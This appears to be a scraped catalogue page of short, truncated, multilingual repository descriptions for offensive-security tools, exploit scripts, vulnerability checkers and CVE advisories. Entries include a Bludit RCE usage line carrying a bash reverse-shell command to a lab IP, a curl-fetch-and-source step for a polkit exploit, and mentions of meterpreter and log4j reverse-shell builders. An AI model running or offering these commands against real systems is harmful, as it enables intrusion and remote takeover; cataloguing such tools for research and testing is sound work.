cypheroth

Cypheroth Automated, extensible toolset that runs cypher queries against Bloodhound's Neo4j backend and saves output to spreadsheets. Description This is a bash script that automates running cypher queries against Bloodhound data stored in a Neo4j database. I found myself re-running the same...

steganographer

Python에서의 스테가노그래피 이 스크립트는 파일을 이미지 내에 숨기고 수정된 이미지를 디스크에 저장합니다. 이미지 내에 숨길 수 있는 파일의 최대 크기는 이미지의 크기에 따라 달라집니다. maxfilesize = heightofimage widthofimage 6 / 8 bytes '100k words.txt'는 'originalimage.png'에 숨겨져 'imagewith100k words.png'로 저장됩니다. 이 두 이미지의 차이를 찾을 수 있는지 확인해보세요. 이 모듈을 사용하여 'imagewith100k...

Registry-Recon

Registry-Recon Cobalt Strike Aggressor Script that Performs System/AV/EDR Recon. Author: Jess Hires Description As a red-team practitioner, we are often using tools that attempt to fingerprint details about a compromised system, preferably in the most stealthy way possible. Some of our usual...

CVE-2017-5638_struts

I extended Scott Campbell's script further, made it more complicated : While "HTTPStrutsAttack" will stop 100% of the recon, there was still miniscule chance that if a scanner hits a vulnerable system, even though we'd block the scanner, vulnerable system might still do the wget included in the...

XanXSS

XanXSS XanXSS is a reflected XSS searching tool DOM coming soon that creates payloads based from templates. Unlike other XSS scanners that just run through a list of payloads. XanXSS tries to make the payload unidentifiable, for example: /cLIcKMe!XaNxss With XanXSS every payload is different...

CVE-2021-32157

CVE-2021-32157 Dockerを使用して、脆弱性のあるWebmin仮想環境をコンテナとして構築できるようにします ビルド ダウンロード関連のエラーが発生した場合は、dockerfileの15行目をコメントアウトし、dockerfileの14行目を実行してください。 docker build -t VulnWebmin . docker run --name VulnWebmin -d --rm -p 10000:10000 VulnWebmin ログイン http://SERVERIP:10000 にアクセスしてください ID/パスワード : root/123456...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

ezsploit

ezsploit Alt text Metasploit용 Linux bash 스크립트 자동화 Metasploit 기능 자동화를 위한 명령줄 스크립트 Metasploit 서비스를 확인하고 없으면 시작 Windows, Linux, Android 및 Mac용 meterpreter reversetcp 페이로드를 쉽게 제작 여러 meterpreter reversetcp 리스너 시작 기본 지속성 옵션 및 스크립트 구축 지원 Armitage 런처 Msfconsole로 진입 기타 재미있는 기능들 : 할 일 페이로드/리스너에 더 많은 기능 추가:...

CVE-2021-42392-Detect

CVE-2021-42392-Detect 概要 このスクリプトは、指定されたIPリストに対して脆弱なH2サーバーを検出します。H2コンソールのWebページを識別し、アクセス制限の有無を確認できます。 使用方法 IPリストを含むファイルを作成し、ファイル名を「IP.txt」にします。「IP.txt」と「h2-detect.py」を同じディレクトリに配置し、スクリプトを実行します。 ここで「IP.txt」はスクリプトにハードコードされたデフォルトのファイル名ですが、スクリプトは任意のファイル名を入力引数として受け取ることもできます。...

CVE-2026-107337 Cross-Site Request Forgery in Malcolm

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

CVE-2026-107337

The Malcolm kiosk Flask application is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to an unauthenticated POST /script_call/[removed] endpoint paired with a wildcard CORS(app) configuration. An attacker can trick an operator's browser into executing unauthorized management command...

EUVD-2026-95120

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

proxy2

proxy2 単一のPythonスクリプトで動作するHTTP/HTTPSプロキシ Features カスタマイズが簡単 外部モジュール不要 IPv4とIPv6の両方をサポート HTTP/1.1永続接続をサポート HTTPS傍受のための動的証明書生成をサポート このスクリプトはPython 2.7で動作します。 HTTPS接続を傍受するにはOpenSSLのインストールが必要です。 Usage スクリプトとして実行するだけです: $ python proxy2.py 上記のコマンドはlocalhost:8080でプロキシを実行します。...

CVE-2024-49113-Checker

CVE-2024-49113-Checker お使いの環境がCVE-2024-49113（LDAP Nightmare）に対して潜在的に脆弱かどうかをテストするスクリプトです。このスクリプトは以下を実行します： RPC接続チェック LDAPポートテスト Netlogonサービスの検証 LDAPコールバックの確認 usage : python CVE-2024-49113-checker.py Example Scan a single IP python CVE-2024-49113-checker.py 192.168.1.1 Scan a subnet python...

sub.sh

🎯🕸📘 MultiprocessingParallelSubdomain Detect Script ✨ 🔺Sub.sh but without API key 🔻 https://github.com/cihanmehmet/sub.sh ‼️ jq , httprobe and parallel required 📌 📘 ✅ Used Services + https://crt.sh + http://web.archive.org + https://dns.bufferover.run + https://www.threatcrowd.org +...

log4j-exploit-builder

log4j-exploit-builder 用于创建 log4j（CVE-2021-44228）漏洞利用的脚本，支持多种获取反弹 shell 的方法 注意：该代码是速成编写的，未来会进行改进。...

CVE-2021-4034

CVE-2021-4034 BashスクリプトにおけるCVE-2021-4034 使用方法： source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2026-33331

CVE-2026-33331 — oRPC OpenAPI Reference Plugin における格納型XSS orpc の OpenAPI ドキュメント生成における格納型XSSの概念実証ラボ 目的 oRPC は OpenAPI 仕様から API ドキュメントページを構築します。v1.13.9 より前のバージョンでは、JSON.stringify を使用して HTML エンコードなしで仕様を直接 タグに出力していました。攻撃者が制御できる info.description などのフィールドは、そのタグを早期に閉じてスクリプトを実行できました。...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit CVE 2022-1388용 익스플로잇 및 점검 스크립트 사용법 단일 호스트 점검 python3 CVE-2022-1388.py -v true -u targeturl 호스트 공격 및 명령어 테스트 python CVE20221388.py -a true -u targeturl -c command 호스트 목록 공격 python CVE20221388.py -s true -f file masscheck.py는 파일 입력을 받아 익스플로잇 없이 호스트가 취약한지 확인합니다. 이슈 문제가 있으면 풀...

CVE-2026-10289-XSS

ホテル・観光予約システム - 保存型クロスサイトスクリプティング（XSS） 脆弱性の詳細 フィールド| 詳細 ---|--- タイトル| ホテル・観光予約システム - 保存型クロスサイトスクリプティング（XSS） CVE ID| 割り当て保留中 ベンダー| code-projects.org ベンダーURL| https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ 製品| ホテル・観光予約システム バージョン| 1.0 脆弱性タイプ| 保存型クロスサイトスクリプティング CWE|...